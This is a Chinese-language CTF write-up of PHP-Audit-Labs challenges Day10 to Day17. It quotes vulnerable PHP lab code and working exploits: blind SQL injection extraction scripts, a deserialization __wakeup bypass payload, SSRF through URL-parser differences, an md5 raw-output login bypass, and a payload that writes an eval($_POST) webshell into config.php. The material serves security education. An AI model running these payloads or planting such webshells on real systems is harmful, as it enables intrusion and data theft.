PHP-Audit-Labs-CTF下篇

PHP-Audit-Labs-CTF上篇

前言

第九题,因为一些原因我没写,后续补上。

Day10

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#index.php
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}

else{
$raw = $string;

$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);

$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);

$sql = "SELECT * FROM students WHERE id=$id";
echo $sql."<br/>";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();

echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>


#<?php
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>


#sql
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );

INSERT INTO students VALUES(1,'Lucia','Lucia@hongri.com',100);
INSERT INTO students VALUES(2,'Danny','Danny@hongri.com',59);
INSERT INTO students VALUES(3,'Alina','Alina@hongri.com',66);
INSERT INTO students VALUES(4,'Jameson','Jameson@hongri.com',13);
INSERT INTO students VALUES(5,'Allie','Allie@hongri.com',88);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');

解:

其实这题不单单考验sql注入基础,还考验对php机制的了解

看段代码

1
2
3
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);

当我们输入的字符串跟$replace数组的一样时,就会被替换成HongRi。这里单单看过滤函数有些经验的就知道用盲注函数绕过,但是如果没有什么经验的新手,可以结合下面的代码。得出注入类型。image-20220122025925526

现在回到stophack函数,使用benchmark笛卡儿积可以完成延迟注入。我们现在绕过过滤的部分,现在来到本题的第二个重点。

1
2
3
4
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}

$string异常时,程序并没有退出,而是进行运行下去,把攻击语句带到数据库。

benchmark延迟注入我这里就直接使用红日团队的脚本了

关于benchmark延迟注入如果不了解,建议去了解以下,了解完你就明白payload的意思了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys, string, requests

version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
for char in version_chars:
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
url = "http://localhost/index.php?id=%s" % payload
if char == '#':
if(flag):
sys.stdout.write("\n[+] The flag is: %s" % flag)
sys.stdout.flush()
else:
print("[-] Something run error!")
exit()
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += char
sys.stdout.write("\r[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break
print("[-] Something run error!")

笛卡尔积延迟注入

mysql CROSS JOIN用于组合两个或多个表的所有可能性,并返回包含所有贡献表的每一行的结果。CROSS JOIN也称为CARTESIAN JOIN,它提供所有关联表的笛卡尔积,笛卡尔积可以解释为第一个表中存在的所有行尘乘于第二个表中所有行。

我们可以用下面的可视化表示它,其中CROSS JOIN 返回table1和table2的所有记录,每一行是两个表的组合。

mysql-cross-join

图文链接

payload

1
id=-1 or if(ascii(substr((select flag from flag),1,1))=72,(SELECT count(1) FROM information_schema.columns A, information_schema.columns B),0)#

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys, string, requests
flag = ""
for i in range(1,100):
for j in range(32,129):#ascii值范围
payload = "-1 or if(ascii(substr((select flag from flag),%s,1))=%s,(SELECT count(1) FROM information_schema.columns A, information_schema.columns B),0)#" % (i,j)
url = "http://localhost/index.php?id=%s" % payload
# print(url)
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += chr(j)
sys.stdout.write("\r[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break

image-20220122163848050

Day11

Code

本题的code有点长不合适放到文章中,建议大家去github上下载

解:

本题我觉得比较有趣,难度对于熟悉序列化的朋友来说可能没那么高,但是对不怎么熟悉序列化的朋友就可能比较高。其实除了序列化本题还有一个比较有意思的点。比如union select构造返回值。

mysqlselect是可以用于不参与任何表的计算行,或者使用虚拟表名

image-20220123053537458

但是如果我们使用select不计算任何数,那么select会返回我们输入的内容。

如图:

image-20220123053832563

ok,了解一些前置知识,我们开始解题

从一开始该题就透露这序列化的味道

1
2
3
4
5
6
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}

下面这段代码,以__destruct魔术方法作为开头,满足条件调用call_user_func_array函数,至于条件就是$this->method必须包含login,source其中一个

1
2
3
4
5
6
7
8
9
10
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}

看到代码开头,$method,$args都是可控的,因此我们满足条件可以调用call_user_func_array函数,至于login,source调用谁?看遍代码只有login合适调用

1
2
3
4
5
6
7
8
9
10
11
12
class HITCON{
public $method;
public $args;
public $conn;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
...
}

看到login函数代码,func_get_args()会在数组中返回$username, $password的值,因此我们定义$args时会是数组形式。

至于sql查询语句这里,因为数据库中的password是明文形式存储的,这里却是md5加密后的,他们十辈子都不会配对成功。所以我们需要使用union select构造返回值,如果不明白可以看前面我说的select

1
2
3
4
5
6
7
8
9
10
11
12
13
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);

if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

如果这时候sql语句没出意外,那肯定是出意外了(0.0),这时候我们构造的sql语句会出现很多\,这就是__wakeup()过滤导致,至于如何绕过__wakeup()可以看CVE-2016-7124

1
2
3
4
5
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}

我这里就直接说绕过利用,当序列化字符串中对象属性个数的值大于实际属性个数时就会跳过__wakeup()

可能看起来有点绕,直接代码演示

1
2
3
O:5:"SoFun":1:{s:4:"abcd";s:8:"asdf.php";}  >> 没绕过__wakeup()

O:5:"SoFun":2:{s:4:"abcd";s:8:"asdf.php";} >> 绕过__wakeup()

绕完__wakeup()这时候程序也走到loadData()

这里的绕过检测原理推荐去看先知文章

第一个检测绕过我们需要一个壳就可绕过了

第二个检测绕过只需要在0:后加上+就可以

1
2
3
4
5
6
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

绕过payload

1
a:1:{O:+5:"SoFun":1:{s:1:"a";s:3:"abc";}}

这时候就可以反序列化$data$data就是我们前面利用select返回的第三个值即$obj->role

看到SoFun类

$file属于可控,__wakeup可以绕过,因此我们利用loadData反序列化SoFun类就可以读取flag

1
2
3
4
5
6
7
8
9
10
11
12
class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}

整体payload

需要注意一下编码问题同时需要记住我们需要绕过两个__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class HITCON{
public $method='login';
public $args;
public function __construct($args)
{
$this->args = $args;

}
}

class SoFun{
public $file='flag.php';
}

$x = new SoFun();

$a = new HITCON(array("username"=>"1' union select 1,2,'a:1:{".serialize($x)."}'#","password"=>"123"));
echo urlencode(serialize($a));
1
O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:72:"1' union select 1,2,'a:1:{O:+5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'#";s:8:"password";s:3:"123";}}

Day12

代码有点多…,不方便贴到文章中,麻烦上Github自行下载

整体来说该题还是比较有意思的,难度不是很大

解:

先看段代码

当我们数据输入后都会调用clean单双引号进行转化等,那估计我们的payload是不会有单双引号

1
2
3
4
5
6
7
8
9
10
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
return $str;
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
  • stripslashes — 反引用一个引用字符串, \'转换为'等等

  • htmlentities — 将字符转换为 HTML 转义字符 ENT_QUOTES 将转换双引号和单引号

    先看到检测正则代码

1
2
3
4
5
6
7
8
9
10
11
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}

if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}

正则接收数据时,是使用$_REQUEST接收数据,但是别处使用的却是$_GET

默认情况下$_REQUEST是优先接收POST数据

image-20220123233713325

因此我们绕过正则检测只需要同时发送POST、GET请求即可

现在来到mysql语句这里

1
$query='SELECT * FROM day12.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

引号有点多,看的头疼,我们来简化一下

1
SELECT * FROM day12.users WHERE name='1\' AND pass='password\';

现在看起来简单明了,这时候我们只要在username输入1\,那么username的其中一个单引号就会被无效化,整体效果变成这样

1
SELECT * FROM day12.users WHERE name='1 AND pass=' password\';

AND pass='变成name的了,这时候只需要使用注释符号--%20 注释后面的'就可以注入了

username=\&password=union select 1,2,3,4 --

image-20220124001427911

最后看到输出这块的代码

1
2
3
4
5
6
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}

整体返回值,循环后只输出name,这也是为什么上面的注入只输出2的原因,所以我们需要把flag的值调到name这块,才能输出flag

我们只需要使用select时把flag调到原本name的位置即可

image-20220124001939254

ok,现在我们所有条件都达成了,可以召唤flag

payload

1
username=\&password=union select 1,flag,3,4 from day12.users -- 

image-20220124002051864

Day13

我一直以为该题是考正则能力,没想到是考对php特性的了解

code

Github

解:

开始讲解之前我们先了解php两个特性

先看mode

image-20220125003417407

mode上可以看到,如果同时发送同名参数,排在最后的参数值会被接收,第一个参数值会被覆盖

ok.先我们来看到另一个特性,先看mode

image-20220125012627141

php变量名中含有一些特殊符号都被转换为下划线,如i.d=>i_d

目前在php官网上只看到三种特殊符号转换为下划线了

image-20220125005146088

但是如果程序使用$_SERVER[REQUEST_URI]获取参数则不会对特殊符号进行转换,维持原样输出

image-20220125012702987

现在我们开始做题

先看到第一个waf处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 经过第一个waf处理
var_dump($_REQUEST);
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}

function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}

第一个waf获取http参数后交给dowith_sql函数进行过滤,如果由输入的参数存在敏感字符如select、insert等都会退出程序

接着继续看到第二个waf处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 // 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}

function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
if (strpos($string, '&amp;#') !== false) {
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}

第二个waf将接收到的REQUEST_URI进行分割,把参数的值交给dhtmlspecialchars过滤,然后重新定义$_REQUEST的参数名

经过重新定义的i_d、i.d变量就会受到特殊符号的影响,不会转换特殊符号了

image-20220125014451547

绕过了两个waf来到业务代码

1
2
3
4
5
6
7
8
9
10
11
12
13
// 业务处理

if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from day13.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}

业务代码先判断我们是否通过按钮过来,然后将参数值与mysql语句进行拼接,最后输出name

  • 第一个waf使用双参数覆盖可以绕过

  • 第二个waf会重新定义参数名称,这会导致参数中的特殊符号不会转换了

  • 最后接收参数与mysql语句进行拼接

    方便观看流程,我这里使用一张红日团队写的流程图

    8

    现在开始写payload召唤flag

1
submit=1&i_d=-1 union select 1,flag,3,4 from day13.users&i.d=1

image-20220125020259307

Day14

Code

Github

解:

本题是由两个解法,但是都受到php版本影响,都要求php版本为5.2.x,我php的版本是5.2.6

我尝试%00绕过eregi失败,可能是php原因,所以我这里使用第二种方式获取flag

看到content.php

1
2
3
4
5
6
7
8
9
10
11
<?php
include './global.php';

extract($_REQUEST);
// var_dump($message_id);

$sql = "select * from test.content where id=$message_id";
$arr = select($sql);


?>

调用该php首先就加载了global.php文件,跟进该文件看下

1
2
3
4
5
6
<?php
include './config.php';
include './function.php';
include './waf.php';
session_start();
?>

查看三个文件时,发现waf.phpcookie的数据与其他get、post数据的处理方式不一样

1
2
3
4
foreach ($_COOKIE as $key => $value) {
$_COOKIE[$key] = safe_str($value);
$_GET[$key] = dhtmlspecialchars($value);
}

cookie的值交给safe_str函数,跟进safe_str

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{

$str = addslashes($str);
}
}

return $str;
}

get_magic_quotes_gpc是获取php.inimagic_quotes_gpc配置设置信息,但是有趣的来了。

get_magic_quotes_gpc总是会返回false,就算修改中php.ini中的magic_quotes_gpc配置也是返回false,除非是get_magic_quotes_gpc()才会返回true

image-20220125082034446

既然!get_magic_quotes_gpc()返回false,那数据就不会进入流程里面,直接返回原来的数据出来。

返回来的值会被设置为$_COOKIEKEY,但是不影响,前面这些只是说明Cookie的数据没有被waf拦截而已,实际上真正的利用点不在这里。

现在来看到看到利用点

1
2
3
extract($_REQUEST);
$sql = "select * from test.content where id=$message_id";
$arr = select($sql);

extract会将数组中的key设置为变量名

image-20220125083032036

我们只要在cookie中添加message_id=xxx,这样经过extract时就会变成$message_id=xxx

现在开始写payload

1
message_id=0 union select 1,2,flag,4 from flag

image-20220125083614829

Day15

Code

Github

解:

在开始解题之前了解一下mysql的运算符

mysql||or,通过下面的例子可以看到mysqlor的使用过程

1
2
3
4
5
select user from users where user='xxxxxxxxxxx'or 1; //联合命令

//分解命令
select user from users where user='xxxxxxxxxxx';
select user from users where 1;

开始解题

image-20220125093636089

我们需要获取到admin的密码才能取出flag,但是#、-都被过滤了,无法使用,但是可以使用;%00进行注释

解决注释后,还需使用运算符||mysql运行我们的语句

现在的payloadhttp://localhost/?user=\&pwd=||1;%00

image-20220125100222546

现在我们的mysql语句变成下面这样

1
2
select user from users where user=' and pwd=' ||1;#'
select user from users where 1;

但是我们现在还是无法获取admin的密码,现在就需要regexp出场了。

regexpmysql中的正则函数,我们只需要使用正则去配对admin的密码即可

image-20220125095030093

我这里获取flag直接使用红日团队的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
for ch in char_set:
url = 'http://localhost/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00'

r = requests.get(url=url%(pw+ch))
if 'Welcome Admin' in r.text:
pw += ch
print(pw)
break
if ch == '_': break
r = requests.get('http://localhost/?user=&pwd=%s' % pw)
print(re.findall('HRCTF{\S{1,50}}',r.text)[0])

image-20220125101306935

Day16

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#index.php
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);

if (!$match_result){
die('url fomat error1');
}
try{
$url_parse=parse_url($url);
}
catch(Exception $e){
die('url fomat error2');
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}

function safe_request_url($url)
{
if (check_inner_ip($url)){
var_dump(check_inner_ip($url));
echo $url.' is inner ip';
}
else{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);

$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']){
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}

$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//flag in flag.php

?>

#flag.php
<?php
if (! function_exists('real_ip') ) {
function real_ip()
{
$ip = $_SERVER['REMOTE_ADDR'];
if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
} elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}
}
$rip = real_ip();
if($rip === "127.0.0.1")
die("HRCTF{SSRF_can_give_you_flag}");
else
die("You IP is {$rip} not 127.0.0.1");
?>

解:

解题之前,先跟我了解一下php如何解析URL参数

image-20220126033300492

下面我用的是python urllib.parse库解析同个url,可以看到结果有些不同

需要记住一点,每个平台实现解析url的方法都不一样的

image-20220126034744030

ok,现在我们开始解题

1
2
3
4
5
6
7
$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}

通过POST获取到url参数后直接转到safe_request_url

看到safe_request_url函数和check_inner_ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);

if (!$match_result){
die('url fomat error1');
}
try{
$url_parse=parse_url($url);
}
catch(Exception $e){
die('url fomat error2');
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}

function safe_request_url($url)
{
if (check_inner_ip($url)){
var_dump(check_inner_ip($url));
echo $url.' is inner ip';
}
else{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);

$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']){
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}

这里safe_request_url获取到url后就交给check_inner_ip进行处理,检测ip为内网地址就会返回结果为true,然后就输出xx is inner ip。然后就没然后了

现在看到check_inner_ipcheck_inner_ip获取到url后进行检测是否为正常的url

如果是正常的url就使用parse_url解析,然后检测ip归属

现在看到safe_request_urlsafe_request_url获取到url后,使用的是curl_exec进行访问url

curl_exec解析使用的是libcurl库与parse_url解析方式是不一样的

所以我们现在利用url解析的差异进行获取flag,对于url解析的差异推荐看us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf这篇文章

payload

1
url=http://user@127.0.0.1:80@google.com/flag.php

image-20220126041246129

Day17

Code

Github

解:

上手后直接看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
require 'db.inc.php';
$password=$_POST['password'];
// $sql = "SELECT * FROM ctf.users WHERE username = 'admin' and password = '".$password."'";
$sql = "SELECT * FROM ctf.users WHERE username = 'admin' and password = '".md5($password,true)."'";
#echo $sql;
$result=mysql_query($sql);
if(mysql_num_rows($result)>0){
echo 'you are admin ';
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
}
else{
echo '密码错误!';
}
?>

我们的输入的password会被转成md5,然后md5返回16字节长度的原始二进制,然后将二进制转成字符串

image-20220126044757922

我们这里使用https://www.jianshu.com/p/12125291f50d的万能密码进行绕过

1
2
3
4
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

mysql中只要以整数开头非0的数字,都会转成布尔型中的true

现在我们绕过了登录,开始往config.php写入webshell

addslashes检测option参数输入,然后根据情况加上反斜线

image-20220126051425133

我们只需要加多一个\即可,然后用'跳出范围,最后使用//注释多余的符号即可

payload

1
2
3
http://localhost/index.php?option=phpinfo();\'; @eval($_POST[password]);//
#POST
password=ffifdyop

image-20220126051617724